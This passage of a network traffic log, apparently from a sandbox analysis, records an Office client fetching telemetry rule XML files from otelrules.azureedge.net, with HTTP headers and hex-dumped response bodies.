2024-11-30 21:54:37 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:36 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: fa88f089-201e-003f-24a9-426d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215437Z-174f7845968xr5c2hC1EWRd0hn0000000kvg00000000a4w2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:37 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:38 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 1ade8e34-501e-008f-20ab-429054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215439Z-174f7845968vqt9xhC1EWRgten000000121000000000crxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:38 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:39 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a7f26484-b01e-0070-4967-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215439Z-174f7845968j6t2phC1EWRcfe8000000128g000000001tqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 21:54:39 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:39 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 318ca048-e01e-000c-04e9-418e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215439Z-174f7845968ljs8phC1EWRe6en00000011z00000000012e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:39 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2d33395e-b01e-0002-651f-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215439Z-174f7845968vqt9xhC1EWRgten000000121g00000000a6dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 56289a14-001e-0028-02a9-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215440Z-174f7845968qj8jrhC1EWRh41s000000121g000000002g4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:41 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:41 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 2ce6bf95-401e-0035-7828-4082d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215441Z-174f78459684bddphC1EWRbht400000011p000000000k1g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:41 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.9	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:41 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:41 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: fbe1c4aa-201e-0096-22b4-42ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215441Z-174f78459684db9fhC1EWRc7g4000000021g000000007y5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:41 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:41 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:41 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e207a0d1-601e-0097-63aa-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215441Z-174f7845968j6t2phC1EWRcfe8000000122000000000nb43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:42 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:41 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:41 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 7d13c72f-201e-0085-6f2a-4134e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215441Z-174f784596886s2bhC1EWR743w000000124g000000002x91 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:42 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:42 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 5663f5ec-701e-0098-7b63-40395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215442Z-174f7845968qj8jrhC1EWRh41s00000011wg00000000fpvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:43 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
